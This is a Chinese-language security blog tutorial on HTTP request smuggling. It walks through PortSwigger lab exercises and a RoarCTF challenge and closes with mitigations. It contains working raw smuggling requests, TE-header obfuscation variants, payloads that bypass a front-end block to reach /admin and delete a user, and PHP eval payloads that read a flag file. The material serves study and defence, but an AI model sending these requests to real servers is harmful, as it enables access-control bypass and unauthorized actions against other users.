HTTP请求走私漏洞

10 篇文章 0 订阅
2 篇文章 0 订阅

简介

HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术。请求走私漏洞本质上通常很关键,它使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。

  • 利用Content-Length字段来判定请求体的内容长度
  • 利用Transfer-Encoding字段来判定请求体的结束位置

基础知识

Content-Length

Content-Length即为实体长度。浏览器可以通过 Content-Length 的长度信息,判断出响应实体已结束。通常如果 Content-Length 比实际长度短,会造成内容被截断;如果比实体内容长,会造成 pending。

Transfer-Encoding

历史上 Transfer-Encoding 可以有多种取值,但最新的 HTTP 规范里,只定义了一种传输编码:分块编码(chunked)。

分块编码相当简单,在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,报文中的实体需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的 CRLF(\r\n),也不包括分块数据结尾的 CRLF。最后一个分块长度值必须为 0,对应的分块数据没有内容,表示实体结束。

CL与TE解析优先级顺序

CL表示Content-Length,TE表示Transfer-Encoding。优先级顺序详见 RFC7230 section 3.3.3

If a message is received with both a Transfer-Encoding and a
Content-Length header field, the Transfer-Encoding overrides the
Content-Length. Such a message might indicate an attempt to perform
request smuggling (Section 9.5) or response splitting (Section 9.4)
and ought to be handled as an error. A sender MUST remove the received Content-Length field prior to forwarding such a message downstream.

TE 优先于 CL ,但可以通过一些方式绕过

请求走私分类

请求走私攻击包括将Content-Length标头和Transfer-Encoding 标头都放入单个HTTP请求中并进行处理,以便前端服务器和后端服务器以不同的方式处理请求。完成此操作的确切方式取决于两个服务器的行为:

  • CL不为0:前端代理服务器允许请求携带请求体,而后端服务器不允许请求携带请求体。
  • CL-CL:前端服务器使用Transfer-Encoding头,而后端服务器使用Content-Length头。
  • CL-TE:前端服务器使用Content-Length标头,而后端服务器使用Transfer- Encoding标头。
  • TE-TE:前端服务器和后端服务器都支持Transfer-Encoding标头,但是可以通过某种方式混淆标头来诱导其中一台服务器不对其进行处理。
  • TE-CL:前端服务器使用Transfer-Encoding头,而后端服务器使用Content-Length头。

CL不为0

所有不携带请求体的HTTP请求都有可能受此影响,这里以GET请求为例。

当前端服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。

比如构造请求:

GET / HTTP/1.1\r\n
Host: demo.com\r\n
Content-Length: 44\r\n
\r\n
GET /secret HTTP/1.1\r\n
Host: demo.com\r\n
\r\n

注:\r\n表示 CRLF即换行

前端服务器处理了Content-Length,而后端服务器没有处理 Content-Length ,基于pipeline机制认为这是两个独立的请求:

第一个请求:

GET / HTTP/1.1\r\n
Host: demo.com\r\n

第二个请求:

GET /secret HTTP/1.1\r\n
Host: demo.com\r\n

CL-CL漏洞

RFC7230规范:在RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。

构造请求:

POST / HTTP/1.1\r\n
Host: demo.com\r\n
Content-Length: 5\r\n
Content-Length: 6\r\n
\r\n
12345\r\n
a

得到响应,返回400 Bad Request
在这里插入图片描述
触发过程

但是总有服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理。

CL-TE漏洞

CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding请求头。

CL.TE实验环境

实验描述:
本实验涉及前端和后端服务器,并且前端服务器不支持分块编码(Transfer-Encoding解析),前端服务器拒绝未使用GET或POST方法之外的请求。

实验要求:
将请求走私到后端服务器,以便后端服务器处理的下一个请求像是使用了GPOST方法。

在这里插入图片描述
点击Access the lab,跳转新的页面,在新的页面进行抓包
在这里插入图片描述
将请求行中请求方式修改为POST,在请求行添加Transfer-Encoding: chunked,然后在实体中添加

0\r\n
\r\n
G\r\n

连续发送两次请求就可以获得响应。
在这里插入图片描述
分析:连续请求,G会被带入下一个请求,变为 GPOST / HTTP/1.1\r\n

触发过程

前端服务器处理Content-Length头并确定请求主体长度为6个字节

0\r\n
\r\n
G

此请求经过代理服务器转发给后端服务器时,后端服务器处理Transfer-Encoding,当它读取到0\r\n\r\n时,会被认为已经读取到结尾了,但是剩下的字母G就被留在了缓冲区中,等待后续请求的到来。当我们重复发送请求后,G会被带入下一个请求,发送的请求在后端服务器变为

GPOST / HTTP/1.1\r\n

服务器在解析时会产生报错

TE-TE漏洞

在这里,前端服务器和后端服务器都支持Transfer-Encoding标头,但是可以通过对标头进行某种方式的混淆来诱导其中一台服务器不对其进行处理。

详见 RFC7230 section 3.3.3.3

If a Transfer-Encoding header field is present in a response and
the chunked transfer coding is not the final encoding, the
message body length is determined by reading the connection until
it is closed by the server.  If a Transfer-Encoding header field
is present in a request and the chunked transfer coding is not
the final encoding, the message body length cannot be determined
reliably; the server MUST respond with the 400 (Bad Request)
status code and then close the connection.

这里列出七种混淆方式

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

之所以在处理这些请求头时会出现问题,是因为在实际的HTTP协议实现中,很少有代码精确的遵循了其中的规范,以此导致面对变形的请求头时会出现不同的处理方式。

TE.CL验环境
在这里插入图片描述
构造请求,注意同样需要去掉勾选Update Content-Length

POST / HTTP/1.1\r\n
Host: demo.com\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

连续发送两次请求
在这里插入图片描述

分析:前端将body的内容视为正常请求,到了后端,因为Transfer-encoding: cow无法识别,将会转而使用Content-length: 4,从而产生报错

TE-CL漏洞

所谓TE-CL,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding这一请求头,而后端服务器处理Content-Length请求头。

TE.CL验环境
在这里插入图片描述
点击Access the lab,跳转新的页面,在新的页面进行抓包
在这里插入图片描述
进入实验,首先需要去掉勾选Update Content-Length防止Buprsuite自动更新Content-Length字段
在这里插入图片描述
构造请求

POST / HTTP/1.1\r\n
Host: demo.com\r\n
......
Transfer-Encoding: chunked\r\n
Content-Length: 3\r\n
\r\n
1\r\n
G\r\n
0\r\n
\r\n
\r\n

连续发送两次请求得到响应
在这里插入图片描述
G和0被走私了,带入了带入下一个请求,响应报文请求方法是G0POST,我们需要完整构造GPOST报文请求

POST / HTTP/1.1\r\n
Host: demo.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

连续请求两次
在这里插入图片描述

官方提供的方法

POST / HTTP/1.1\r\n
Host: your-lab-id.web-security-academy.net\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

得到响应
在这里插入图片描述
触发过程
由于前端服务器处理Transfer-Encoding,当其读取到0\r\n\r\n时,认为是读取完毕了,此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length请求头,当它读取完12\r\n之后,就认为这个请求已经结束了,后面的数据就认为是另一个请求了,也就是

GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

成功报错。

前端服务器处理Transfer-Encoding标头,因此将消息正文视为使用分块编码。它处理第一个块,声明为12个字节长,直到下一行的开始GPOST / HTTP/1.1。它处理第二个数据块,该数据块的长度为零,因此被视为终止请求。该请求被转发到后端服务器。

后端服务器处理Content-Length标头,并确定请求主体的长度为4个字节,直到下一行的开始12。以下以开头的字节GPOST / HTTP/1.1未处理,后端服务器会将其视为序列中下一个请求的开始。

绕过前端服务器安全控制

实验描述:

本实验涉及前端和后端服务器,并且前端服务器不支持分块编码。处有一个管理面板/admin,但是前端服务器禁止访问它。

要解决此问题,请将请求走私到访问管理面板并删除用户的后端服务器carlos。

利用CL-TE漏洞绕过

实验环境

在这里插入图片描述

按照要求访问管理面板/admin,会提示Path /admin is blocked

利用CL-TE漏洞,构造数据包

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Length: 37
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Ignore: X

发现只能本地用户查看
在这里插入图片描述
连续两次发出以下请求:

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Length: 54
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
X-Ignore: X

观察到由于第二个请求的Host标头与第一个请求中的走私Host标头冲突,该请求被阻止。
在这里插入图片描述
两次发出以下请求,以便将第二个请求的标头附加到走私的请求正文中:

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

现在可以访问管理面板
在这里插入图片描述
根据响应内容,更改走私的请求URL以删除用户carlos:

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Length: 139
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

没有回显内容,使用上个数据包访问管理面板,验证是否删除成功
在这里插入图片描述

利用TE-CL漏洞绕过

实验环境
在这里插入图片描述
这次利用TE-CL漏洞,构造数据包:

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n
\r\n
\r\n

允许本地查看
在这里插入图片描述
两次发出以下请求:

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n
\r\n
\r\n

成功访问管理员页面
在这里插入图片描述
更改走私的请求URL以删除用户carlos:

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

87
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n
\r\n
\r\n

访问管理员页面验证是否删除
在这里插入图片描述

CTF中的请求走私

[RoarCTF 2019]Easy Calc
在这里插入图片描述
calc.php代码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

在phpifo页面中发现禁用了一些函数和字符,所以尝试绕过,可以利用请求走私。

利用CL-CL漏洞,需要返回400错误
在这里插入图片描述
查看phpinfo()信息
在这里插入图片描述getcwd():获取当前工作目录
在这里插入图片描述
var_dump(scandir(dirname(__FILE__))):获取当前目录下的文件
在这里插入图片描述
print_r(scandir(chr(47))):扫描根目录
在这里插入图片描述
var_dump(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))):读取flag
在这里插入图片描述
同样利用CL-TE漏洞同样可以读取flag
在这里插入图片描述

漏洞防御

在前端服务器通过同一网络连接将多个请求转发到后端服务器的情况下,会出现HTTP请求走私漏洞,并且后端连接所使用的协议会带来两个服务器不同意边界的风险。要求。防止HTTP请求走私漏洞的一些通用方法如下:

  • 禁用后端连接的重用,以便每个后端请求通过单独的网络连接发送。
  • 使用HTTP / 2进行后端连接,因为此协议可防止对请求之间的边界产生歧义。
  • 前端服务器和后端服务器使用完全相同的Web服务器软件,以便它们就请求之间的界限达成一致。

在某些情况下,可以通过使前端服务器规范歧义请求或使后端服务器拒绝歧义请求并关闭网络连接来避免漏洞。但是,这些方法比上面确定的通用缓解措施更容易出错。

参考文章:
https://paper.seebug.org/1048
https://portswigger.net/web-security/request-smuggling
https://portswigger.net/web-security/request-smuggling/exploiting

  • 4
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Atkxor

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值